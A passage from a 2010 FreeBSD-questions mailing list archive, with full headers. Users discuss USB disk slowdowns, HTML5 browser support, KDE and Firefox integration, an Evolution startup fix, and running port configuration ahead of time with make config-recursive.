to copy data to the disk. It seems as though there is a complete lock up periodically when doing a very large copy. The system becomes very unstable. Conditions worsen when two or three apps are using the disk at once, it seems. Often the entire OS can lock up for minutes when the disk is being used. I once tried to copy a 200 mb directory, it took 7 hours. Perhaps the developers of the USB system would like discuss this, so we can figure out what is going on. I do not know enough about it as to say exactly where the problem is. Has anyone else been having these problems? From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 17:20:53 2010 Return-Path: Delivered-To: freebsd-questions@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 5D1AC106566B for ; Sun, 7 Mar 2010 17:20:53 +0000 (UTC) (envelope-from bh@izb.knu.ac.kr) Received: from pinus.izb.knu.ac.kr (pinus.izb.knu.ac.kr [IPv6:2001:470:1f05:5f6:3::1]) by mx1.freebsd.org (Postfix) with ESMTP id 02F4F8FC2D for ; Sun, 7 Mar 2010 17:20:53 +0000 (UTC) Received: from pinus.izb.knu.ac.kr (localhost.izb.knu.ac.kr [IPv6:::1]) by pinus.izb.knu.ac.kr (Postfix) with ESMTP id 39ED457375; Mon, 8 Mar 2010 02:20:51 +0900 (KST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=izb.knu.ac.kr; h=from:to:cc:subject:references:date:in-reply-to:message-id :mime-version:content-type:content-transfer-encoding; s= soyeomul; i=bh@izb.knu.ac.kr; bh=egmg97URmud5SwKv5B2mlaNQcrtMfIx iUCscyWWpPdo=; b=bxDyMChnTdrfwTrZGz8I0jwwdbkx0AuPeINfiXLb/PYiMC3 bk6MmhR+mA8RvPyUyBzvH5tStIhRbI0gpZUmlLGCmSNvwP0I4NBOYie9/WjQUAdM MxQQRXfwNw8zbt8YbfwgY88u/DWjGPj9erXPx9ClVzZ1MnN3GV/2ntGujb5c= Received: from rhodo.izb.knu.ac.kr (rhodo.izb.knu.ac.kr [IPv6:2001:470:1f05:5f8:3::2]) by pinus.izb.knu.ac.kr (Postfix) with ESMTP id AAA8B5736D; Mon, 8 Mar 2010 02:20:50 +0900 (KST) Received: from betla.home (unknown [59.24.179.141]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) (Authenticated sender: bh@izb.knu.ac.kr) by rhodo.izb.knu.ac.kr (Postfix) with ESMTP id 9FBC91CD73; Mon, 8 Mar 2010 02:20:48 +0900 (KST) From: Byung-Hee HWANG To: Alexander Best Organization: GR References: Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwBAMAAAClLOS0AAAAHlBMVEVMM2UIAhGJrpkJDwsD AwgJAggKPnwFBAIEBAQJAjTkRM0eAAACN0lEQVQ4jW3Tv2sbMRQHcPnSDt78bMWctkOBgDc7 10I8Cl6DOpZm6RgPBx4LgbrjUbVVNiuXHNF/2yfJzqnEwmDfffyV9PSD2UNTfuu9A/65cT39 AnZ4j8pTcxzM/HlO4F8BnAcHCK14CuBeQXAFAJwbg/MmS2igEDWtrfZ9PyQiiJCxei1o+CNY bUJX4J1Cr8TQlbWmFZ3vijFwT58c7kW3Z3K84oJrFAPYds8Yk6zmwnGLGai9rApZnaGgBbAZ wF6GdoY3DiADA74IMMa5KzFPGEWDSLmAiSttDkhTqUVxAX+c/g9ER7BeVnzyZAdA5Go9Y+OC ydXNXZlDCetJtfpWyXp6xzNQmkA+i0J+nI7jGJjKVjPfXYUKpXtc3AbQR2CraazQP17StKgr /QpXEZrNAdIY7Wx/HmHR91U2K8XP10BLSEvS94scoPUJvN/mCVSqxiVBBdCzAbDkeG2/XlVy BCA8ZoD4AZdUxYsiABPABNCIhsagnng4LDvL0LYYijdWCZrsRTx3YUnQGh46+0sZ2tv3MZ1A xdKNxnuYFO9onTEClYZpHX//LNjyOiRs2ihzhO9MVnYACqo051YUZwMYhXEW1L7s2XU6LxZv I6g4L1NTeSm7+wUBlCpD3Cyl3KXEqq5ZG+8RhEfBqsN2jrqaQYQ2PH/qRqmnh4auGgjnXPrj j1udunqg887i/daHXTlA+Gbgm8aX9k1jvifQp2Ajm+2pRL+hk3QKGikv3dv3IdE4cwL+ATzH tMu8OktOAAAAAElFTkSuQmCC X-Url: http://izb.knu.ac.kr/~bh/ X-Window-System: GNU Network Object Model Environment X-EMMS-Playing: Nothing playing right now Date: Mon, 08 Mar 2010 02:20:47 +0900 In-Reply-To: (Alexander Best's message of "Sun, 07 Mar 2010 16:35:56 +0100 (CET)") Message-ID: <86ocj082vk.fsf@betla.home> User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/23.0.95 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Cc: freebsd-questions@FreeBSD.org Subject: Re: HTML5 under FreeBSD Desktop X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 17:20:53 -0000 Alexander Best writes: > recent chromium builds on http://chromium.jaggeri.com/ and > http://code.google.com/p/chromium-freebsd8/ support html5.=20 Great news, thank you very much!! > don't know if the > firefox and opera ports support html5 yet. > > alex --=20 =EC=86=8C=EC=97=AC=EB=AC=BC =ED=99=A9=EB=B3=91=ED=9D=AC(=E9=BB=83=E7=82=B3= =E7=86=99) | .. =EC=B6=9C=ED=95=AD 15=EB=B6=84=EC=A0=84.. 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"I'm not interested in things that don't concern me." -- Peter Clemenza and Vito Corleone, "Chapter 14", page 194-195 From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 17:31:09 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 603EF106564A for ; Sun, 7 Mar 2010 17:31:09 +0000 (UTC) (envelope-from jpaetzel@freebsd.org) Received: from out1.smtp.messagingengine.com (out1.smtp.messagingengine.com [66.111.4.25]) by mx1.freebsd.org (Postfix) with ESMTP id 1A7E18FC13 for ; Sun, 7 Mar 2010 17:31:08 +0000 (UTC) Received: from compute1.internal (compute1 [10.202.2.41]) by gateway1.messagingengine.com (Postfix) with ESMTP id 7718FE2C66; Sun, 7 Mar 2010 12:31:08 -0500 (EST) Received: from heartbeat2.messagingengine.com ([10.202.2.161]) by compute1.internal (MEProxy); Sun, 07 Mar 2010 12:31:08 -0500 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=messagingengine.com; h=from:to:subject:date:cc:references:in-reply-to:mime-version:content-type:content-transfer-encoding:message-id; s=smtpout; bh=yESUR4GevBNn9uLYPJgU1lxwHog=; b=foTRuewry7NzK3Avi8ui6IWK02jq3fX+3lVxWrmVMnnjV4AWIS5PcDXGxpG+YNQj4yjnqw29mphPlGnClDx5eC40gKdS5lRRAqE30mG+zBNbO4SvG1CIzJci4J7pMRE1Ly2AiLM0cICa3AWfeU050TlF3t2IKZu1BJNHKE4jhnc= X-Sasl-enc: EdH0ZQHHziWgu9vfx/4QT4WZ2p3FIO0/2O+WHTjd4ksb 1267983068 Received: from ix.tcbug.org (71-82-134-106.dhcp.roch.mn.charter.com [71.82.134.106]) by mail.messagingengine.com (Postfix) with ESMTPSA id 3198F440C1; Sun, 7 Mar 2010 12:31:08 -0500 (EST) From: Josh Paetzel Organization: FreeBSD To: Anselm Strauss Date: Sun, 7 Mar 2010 11:29:11 -0600 User-Agent: KMail/1.13.1 (FreeBSD/9.0-CURRENT; KDE/4.4.1; amd64; ; ) References: <201003071456.15638.amsibamsi@gmail.com> <201003070852.35803.jpaetzel@freebsd.org> <201003071753.29305.amsibamsi@gmail.com> In-Reply-To: <201003071753.29305.amsibamsi@gmail.com> MIME-Version: 1.0 Content-Type: multipart/signed; boundary="nextPart6311594.hviaSE01v8"; protocol="application/pgp-signature"; micalg=pgp-sha1 Content-Transfer-Encoding: 7bit Message-Id: <201003071129.17644.jpaetzel@freebsd.org> Cc: Elias Chrysoheris , freebsd-questions@freebsd.org, kris@pcbsd.org Subject: Re: KDE firefox integration X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 17:31:09 -0000 --nextPart6311594.hviaSE01v8 Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable On Sunday 07 March 2010 10:53:29 Anselm Strauss wrote: > On Sunday 07 March 2010 15:52:30 Josh Paetzel wrote: > > On Sunday 07 March 2010 08:13:53 Elias Chrysoheris wrote: > > > On Sunday 07 of March 2010 15:56:15 Anselm Strauss wrote: > > > > Hi, > > > >=20 > > > > I noticed that in PC-BSD 8 firefox is nicely integrated into KDE. > > > > Anybody knows how to achieve this on FreeBSD 8? > > > >=20 > > > > Anselm > > > > _______________________________________________ > > > > freebsd-questions@freebsd.org mailing list > > > > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > > > > To unsubscribe, send any mail to > > > >=20 > > > > "freebsd-questions-unsubscribe@freebsd.org" > > >=20 > > > I believe you mean that you need KDE to open Firefox whenever you cli= ck > > > on a link. That's easy. From your KDE menu, open "System Settings" (in > > > the first tab, "favorites") > > > Then select "Default Applications". Then, in the left list of the > > > applications, choose "Web browser", and at the right part of the scre= en > > > choose the radio button "in the following browser" and in the edit box > > > enter the "/usr/local/bin/firefox3". Then apply the new settings. > > >=20 > > > Elias > >=20 > > Another trick that PC-BSD uses....which might be more of what you are > >=20 > > asking about is the installation of a port called > > x11-themes/gtk-qt4-engine This port allows gtk applications to be > > displayed using qt, which helps integrate the look of things like FF, > > Thunderbird, OOo with KDE. >=20 > I already installed the gtk-qt4-engine, but it has some serious bugs. > Scroll bars are not painted, tab borders are painted at the wrong > position, etc. Could this be because I modified some of KDEs appearance > options? >=20 > Are there any other integration tweaks, like icons, keyboard shortcuts, > file chooser dialog, ... ? >=20 > Thanks, > Anselm I've cc'd in Kris Moore. Perhaps he can answer some of this. =2D-=20 Thanks, Josh Paetzel =46reeBSD -- The power to serve --nextPart6311594.hviaSE01v8 Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part. -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.14 (FreeBSD) iQEcBAABAgAGBQJLk+JtAAoJEKFq1/n1feG2aBIIALH8f+jHqzta4V+tU/IBmsBd WkZlYnhIMnpWctzVRsjEo3m0r70bSw5WyX4+F2LUp/YaqWoR/qlF6kVdwR++tVwL 4n1bLOoGz0Uk3wy4jfcpt/194aMxpxVKJThNOcy8YnJtn7YM/Ve+FEeXrZRb4Eb+ FvxoRVsDbmxE0eQgIM8+xGOrZKnD7laiFMV/IRiRthIb6t2rz8ZTN9sR2O7Uv7Vu jsmi8JqzTRlrKh73DauzkeTOZn9sm6TO2e6WYZcircRLhyd/soJPxjdLImaCIMaI HbVGzoNCvDwVkDTiJFdJBL3gzCTILV0qx1DlzGH7iL37DcfUNwGkjcQWEpFJ7yM= =F4Wl -----END PGP SIGNATURE----- --nextPart6311594.hviaSE01v8-- From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 17:57:57 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 321CC106564A for ; Sun, 7 Mar 2010 17:57:57 +0000 (UTC) (envelope-from masoom.shaikh@gmail.com) Received: from mail-pw0-f54.google.com (mail-pw0-f54.google.com [209.85.160.54]) by mx1.freebsd.org (Postfix) with ESMTP id 0A2E78FC12 for ; Sun, 7 Mar 2010 17:57:56 +0000 (UTC) Received: by pwj1 with SMTP id 1so3751857pwj.13 for ; Sun, 07 Mar 2010 09:57:56 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=CuvE1G+88AcWfNK2k0GAHAebu4qJB317o3MrrOeQgsk=; b=OKFN3sd1Mtk8GWd4wp0JOFw/PB9IsD34RkknoIKnF/8mDcq1NyzQtmmMbzAr9CViwO TOm+LdB9Dq9Usxj9oieGphCI1zDuGg5Av+PUU55H3VnWLo2q6b6a6SuzKvWFOKm53BrU DXm3+TyRIt2WvyCbYpkRaEGhuvmRAI6yeioE8= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=Uw9xEosiHljv2v6fO2x+FhZHKfclvX0bB0gJLn+ZnWO6fI0woMQSZ5RzUxLnISfMmT wSUzm5TczUpK51kfhyUZ9sIPkLC8xlBMSXCVYdDOWKr6hqSdhD8kt98tcaeAJecNBrg6 D1KkTrQxihd7He/Do1CyfanMI9fdGwYH8Zxd8= MIME-Version: 1.0 Received: by 10.114.187.27 with SMTP id k27mr2612441waf.35.1267984676256; Sun, 07 Mar 2010 09:57:56 -0800 (PST) In-Reply-To: <201003071456.15638.amsibamsi@gmail.com> References: <201003071456.15638.amsibamsi@gmail.com> Date: Sun, 7 Mar 2010 17:57:56 +0000 Message-ID: From: Masoom Shaikh To: Anselm Strauss Content-Type: text/plain; charset=ISO-8859-1 Cc: freebsd-questions@freebsd.org Subject: Re: KDE firefox integration X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 17:57:57 -0000 On Sun, Mar 7, 2010 at 1:56 PM, Anselm Strauss wrote: > Hi, > > I noticed that in PC-BSD 8 firefox is nicely integrated into KDE. Anybody > knows how to achieve this on FreeBSD 8? > > Anselm > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > perhaps you could try https://addons.mozilla.org/en-US/firefox/addon/7574 http://ramonantonio.net/kde-firefox/ From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 18:43:27 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B134C106566B for ; Sun, 7 Mar 2010 18:43:27 +0000 (UTC) (envelope-from wearabnet@yahoo.ca) Received: from web111309.mail.gq1.yahoo.com (web111309.mail.gq1.yahoo.com [67.195.15.179]) by mx1.freebsd.org (Postfix) with SMTP id 67D858FC14 for ; Sun, 7 Mar 2010 18:43:27 +0000 (UTC) Received: (qmail 12272 invoked by uid 60001); 7 Mar 2010 18:43:26 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.ca; s=s1024; t=1267987406; bh=SmLFhRpfqyRxG1MIYTLS0ZV7HQlGLyTMy7Zy3gXZeDg=; h=Message-ID:X-YMail-OSG:Received:X-Mailer:References:Date:From:Subject:To:In-Reply-To:MIME-Version:Content-Type; b=Mt6lJYmRZqn41z/KJ1zJaaRgoP8kUqJrbinIRfvVoz16OnZ8N//H0I4LG24G3Iyi3LbFGq6Oi5WBxmZcirJsny2gyqwxz3UGvqShDuG8/wYh8iYFKrKvSnkXmNC+N645/oRHGDE9SA8L2KOZJm2u0TGGyJY3HWTzkgYfW4LAqBM= DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.ca; h=Message-ID:X-YMail-OSG:Received:X-Mailer:References:Date:From:Subject:To:In-Reply-To:MIME-Version:Content-Type; b=TS8xbCSxRVwS/jqfe25bTzVWtdm2NFtB8UAjsKrIL4IXIIZh9YP6HlUwuCEQZv5nHU2rB2cIs5KTmfTpLOWWsPaDd4GCYrBNo/54W2ohMBpYqRFd+kGbUrhJPUdOpE9nEqlJpx81vpCPo62PluxMqPgTH3r3AA/OI9n6NTaQJdU=; Message-ID: <834563.11258.qm@web111309.mail.gq1.yahoo.com> X-YMail-OSG: y.bS978VM1lgBmR1avzpwqSv95SOKAKsQAiXAOIJFafcGOS .mVm8vEnVmQmx0cwZgWOPMSZ4.rYGff3K8ZLB9a0QgW6w.EXVrG3mGTp3Elx IHuCTBIpa8Cgy0YisgbAgo0Oavb.hZPHqwVpeH5X0inG_Kyx7fyJiplwt0QV HJPB2KyFXpow7Ea6LMYkb0sSrJiZejSzUWVZpUCZ2Q0hAA5aASBKqG5LGqr8 10.6Tla23pcg.PUXtIUxUKK_dLCZ02GrdUH9C7pFBYvavZZB_iQnBQWZX1Y_ CFNh_JJ75rn01YZFQ.wAyIf6zm3ybVp3kjqHjtSgtbEYO285hbw-- Received: from [78.101.82.117] by web111309.mail.gq1.yahoo.com via HTTP; Sun, 07 Mar 2010 10:43:26 PST X-Mailer: YahooMailRC/300.3 YahooMailWebService/0.8.100.260964 References: <86ocj082vk.fsf@betla.home> Date: Sun, 7 Mar 2010 10:43:26 -0800 (PST) From: Abdullah Ibn Hamad Al-Marri To: FreeBSD Questions In-Reply-To: <86ocj082vk.fsf@betla.home> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: Re: HTML5 under FreeBSD Desktop X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 18:43:27 -0000 Good bye adobe lame Flash player which never wanted to support FreeBSD and *BSD. HTML5, welcome abroad :) Regards, -Abdullah Ibn Hamad Al-Marri Arab Portal http://www.WeArab.Net/ From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 19:08:59 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id BA6931065670 for ; Sun, 7 Mar 2010 19:08:59 +0000 (UTC) (envelope-from ndhertbsd@gmail.com) Received: from mail-pv0-f182.google.com (mail-pv0-f182.google.com [74.125.83.182]) by mx1.freebsd.org (Postfix) with ESMTP id 9396A8FC14 for ; Sun, 7 Mar 2010 19:08:59 +0000 (UTC) Received: by pvg3 with SMTP id 3so1803719pvg.13 for ; Sun, 07 Mar 2010 11:08:59 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type; bh=HtqGd+zXeMaKfIngpHZ576CREArtVawK0hvlM8D0c7I=; b=aoyG5zEBg4sC9u0VMWHapvQ4YQn998JUIhx2Roi0eq/xMPug4RfgrVgS4ITD5urmiV HI/Z5YHtckUb9qUiCvx6diWWkB5/sy0afRMfdqlHRLQYxBDOlbF789bMW4qALvPxb6FM 83M4aWR+IbsDgRcpKY6GpncK/2dW+c3nq9GfY= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type; b=hagLGooN9u7Pak7OGni0148V+vFNLhVu8e8MDKdcePxAkPj7W1OjJQU4NsIxRN1zi6 dYloytnVTy+i10VyhqgFcuPjqyKsRWfcvdaeasZYIvL1cfX0+HWbSDwnDP0Ne8K6AVSS O/wybnen/1IXWwphdHPhC4R503UK5V/lcCl5U= MIME-Version: 1.0 Received: by 10.142.74.15 with SMTP id w15mr2564929wfa.117.1267988937488; Sun, 07 Mar 2010 11:08:57 -0800 (PST) Date: Sun, 7 Mar 2010 20:08:57 +0100 Message-ID: From: n dhert To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: make "make install" accept defaults X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 19:08:59 -0000 When installing gnome from the ports # make install clean installs a few hundred packages and displays dozens and dozens times a configuration window which I always answer by hitting TAB key to move to OK button and then . Now this installation is already busy for 7 hours (when will it end?) ... keeping me locked to my PC ... How to specify make install clean ...... witj extra options so that is will answer a configuration window autoamtically to always accept all the defaults so that you can make an Gnome installation in an unattended way? From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 19:11:10 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 67157106566B for ; Sun, 7 Mar 2010 19:11:10 +0000 (UTC) (envelope-from roberthuff@rcn.com) Received: from smtp02.lnh.mail.rcn.net (smtp02.lnh.mail.rcn.net [207.172.157.102]) by mx1.freebsd.org (Postfix) with ESMTP id 17D788FC0A for ; Sun, 7 Mar 2010 19:11:09 +0000 (UTC) Received: from mr02.lnh.mail.rcn.net ([207.172.157.22]) by smtp02.lnh.mail.rcn.net with ESMTP; 07 Mar 2010 14:11:09 -0500 Received: from smtp01.lnh.mail.rcn.net (smtp01.lnh.mail.rcn.net [207.172.4.11]) by mr02.lnh.mail.rcn.net (MOS 3.10.8-GA) with ESMTP id QOD71585; Sun, 7 Mar 2010 14:08:57 -0500 (EST) Received: from 209-6-91-204.c3-0.smr-ubr1.sbo-smr.ma.cable.rcn.com (HELO jerusalem.litteratus.org.litteratus.org) ([209.6.91.204]) by smtp01.lnh.mail.rcn.net with ESMTP; 07 Mar 2010 14:08:58 -0500 From: Robert Huff MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <19347.63945.272059.305219@jerusalem.litteratus.org> Date: Sun, 7 Mar 2010 14:08:57 -0500 To: Abdullah Ibn Hamad Al-Marri In-Reply-To: <834563.11258.qm@web111309.mail.gq1.yahoo.com> References: <86ocj082vk.fsf@betla.home> <834563.11258.qm@web111309.mail.gq1.yahoo.com> X-Mailer: VM 7.17 under 21.5 (beta28) "fuki" XEmacs Lucid X-Junkmail-Whitelist: YES (by domain whitelist at mr02.lnh.mail.rcn.net) Cc: FreeBSD Questions Subject: Re: HTML5 under FreeBSD Desktop X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 19:11:10 -0000 Abdullah Ibn Hamad Al-Marri writes: > Good bye adobe lame Flash player which never wanted to support > FreeBSD and *BSD. > > HTML5, welcome abroad :) Unless you know something we don't, don't bet the rent money just yet. Robert Huff From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 19:26:13 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C8FC3106566B for ; Sun, 7 Mar 2010 19:26:13 +0000 (UTC) (envelope-from dan.naumov@gmail.com) Received: from mail-yw0-f181.google.com (mail-yw0-f181.google.com [209.85.211.181]) by mx1.freebsd.org (Postfix) with ESMTP id 7DC9E8FC0A for ; Sun, 7 Mar 2010 19:26:13 +0000 (UTC) Received: by ywh11 with SMTP id 11so1424927ywh.13 for ; Sun, 07 Mar 2010 11:26:12 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type; bh=TPdT6ZACz9PaHjGPyd9P7sQoZdLpmD6ey+qkQSKVTsU=; b=JS+RuBinf9IqaOwafUy/dkpcIlrJPw05CwTNlDVXmRuvv6hCFNlmFDQgPEo6I20RIh VRPgr75LpcvQ1shyF9dc0tFO0fFfrdpfXZNSriAEHWYuD8fDzPZScN0ccavXNP4aWvQn rAuCDzKiHNXkH5+z9IAhLbRhnnYaxm6ZlRbWE= DomainKey-Signature: a=rsa-sha1; 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Sun, 7 Mar 2010 20:07:18 +0000 (UTC) (envelope-from marcus@FreeBSD.org) Received: from creme-brulee.marcuscom.com (marcuscom-pt.tunnel.tserv1.fmt.ipv6.he.net [IPv6:2001:470:1f00:ffff::1279]) by mx1.freebsd.org (Postfix) with ESMTP id 2C4068FC12 for ; Sun, 7 Mar 2010 20:07:18 +0000 (UTC) Received: from [IPv6:2001:470:1f00:2464::4] (shumai.marcuscom.com [IPv6:2001:470:1f00:2464::4]) by creme-brulee.marcuscom.com (8.14.4/8.14.4) with ESMTP id o27K7wFw086445; Sun, 7 Mar 2010 15:07:58 -0500 (EST) (envelope-from marcus@FreeBSD.org) From: Joe Marcus Clarke To: Sergio de Almeida Lenzi In-Reply-To: <1267973742.25666.34.camel@localhost> References: <201003071456.15638.amsibamsi@gmail.com> <1267973742.25666.34.camel@localhost> Content-Type: multipart/signed; micalg="pgp-sha1"; protocol="application/pgp-signature"; boundary="=-0nK6+oPugYZBx2z/CWIW" Organization: FreeBSD, Inc. Date: Sun, 07 Mar 2010 15:07:35 -0500 Message-ID: <1267992455.96436.13.camel@shumai.marcuscom.com> Mime-Version: 1.0 X-Mailer: Evolution 2.28.2 FreeBSD GNOME Team Port X-Spam-Status: No, score=-0.9 required=5.0 tests=BAYES_00,HELO_NO_DOMAIN autolearn=no version=3.3.0 X-Spam-Checker-Version: SpamAssassin 3.3.0 (2010-01-18) on creme-brulee.marcuscom.com Cc: freebsd-questions Subject: Re: EVOLUTION a, slow start, SOLVED X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 20:07:18 -0000 --=-0nK6+oPugYZBx2z/CWIW Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: quoted-printable On Sun, 2010-03-07 at 11:55 -0300, Sergio de Almeida Lenzi wrote: > Hello all.. =20 >=20 > Finallly I got the problem with evolution on FreeBSD solved. >=20 > Happens that evolution is very slow, on startup, and consumes an HUGE > amount > of CPU (system), on startup, making it almost unuseable for multi user > systems... >=20 > The problem is that some plugins did not offer the startup entries > that gnome (glib) wants. so FreeBSD tries to resolv the entry using > dlsym(...) > and search the entire user address space for that... >=20 > a simple "patch" for the plugins and e-util/e-plugin.c module solved > the problem > and now evolution starts in 3 seconds... Thanks for looking into this. Your attached Base64 stream is corrupt. I was able to look at some of the patch, and I don't see why those g_warning() calls need to be there. Can you resubmit the patch (you can unicast me) with just the stub functions returning the required values? Thanks! Joe --=20 Joe Marcus Clarke FreeBSD GNOME Team :: gnome@FreeBSD.org FreeNode / #freebsd-gnome http://www.FreeBSD.org/gnome --=-0nK6+oPugYZBx2z/CWIW Content-Type: application/pgp-signature; name="signature.asc" Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.10 (FreeBSD) iEYEABECAAYFAkuUB4UACgkQb2iPiv4Uz4eaCwCcDpDnuuLwzQtO728jKTegWDsT Gm8AoKmKmpoG1l1IPbYPP0hO2s88GfaV =zyA7 -----END PGP SIGNATURE----- --=-0nK6+oPugYZBx2z/CWIW-- From owner-freebsd-questions@FreeBSD.ORG Sun Mar 7 20:20:20 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 93EBE106564A for ; Sun, 7 Mar 2010 20:20:20 +0000 (UTC) (envelope-from merlyn@stonehenge.com) Received: from blue.stonehenge.com (blue.stonehenge.com [209.223.236.162]) by mx1.freebsd.org (Postfix) with ESMTP id 769138FC13 for ; Sun, 7 Mar 2010 20:20:16 +0000 (UTC) Received: by blue.stonehenge.com (Postfix, from userid 1001) id 9F6711DE2C6; Sun, 7 Mar 2010 12:19:46 -0800 (PST) To: n dhert References: From: merlyn@stonehenge.com (Randal L. Schwartz) x-mayan-date: Long count = 12.19.17.3.0; tzolkin = 11 Ahau; haab = 18 Kayab Date: Sun, 07 Mar 2010 12:19:46 -0800 In-Reply-To: (n. dhert's message of "Sun, 7 Mar 2010 20:08:57 +0100") Message-ID: <86pr3fubod.fsf@blue.stonehenge.com> User-Agent: Gnus/5.1008 (Gnus v5.10.8) Emacs/21.4 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: freebsd-questions@freebsd.org Subject: Re: make "make install" accept defaults X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 07 Mar 2010 20:20:20 -0000 >>>>> "n" == n dhert writes: n> When installing gnome from the ports n> # make install clean n> installs a few hundred packages and displays dozens and dozens times a n> configuration window n> which I always answer by hitting TAB key to move to OK button and then n> . n> Now this installation is already busy for 7 hours (when will it end?) ... n> keeping me locked to my PC ... n> How to specify make install clean ...... witj extra options so that is n> will answer a configuration window autoamtically n> to always accept all the defaults so that you can make an Gnome installation n> in an unattended way? I do all the configs ahead of time. There are multiple ways to do that. "make config-recursive" if you're just using the raw Makefiles. "portinstall -c PORTNAME" if you're using Portinstall (my favorite). -- Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095 Smalltalk/Perl/Unix consulting, Technical writing, Comedy, etc. etc. See http://methodsandmessages.vox.com/ for Smalltalk and Seaside discussion From 